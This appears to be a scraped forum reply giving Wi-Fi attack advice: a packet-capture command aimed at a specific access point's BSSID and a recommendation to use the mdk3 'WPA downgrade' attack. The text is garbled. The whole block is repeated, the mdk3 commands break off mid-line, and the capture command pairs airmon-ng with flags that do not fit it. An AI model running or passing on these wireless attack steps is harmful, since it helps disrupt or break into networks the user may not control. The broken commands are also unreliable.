Try doing your deauth differently and see what occurs
airmon-ng -c 1 --bssid 55:44:33:22:11:00 -w targetap wlan0mon
Use
mdk3 WPA downgrade
The order of entries for mdk3 here is important - MDK3 commands do not allow position substitution.
mdk3 wlan0m...
airmon-ng -c 1 --bssid 55:44:33:22:11:00 -w targetap wlan0mon
Use
mdk3 WPA downgrade
The order of entries for mdk3 here is important - MDK3 commands do not allow position substitution.
mdk3 wlan0m...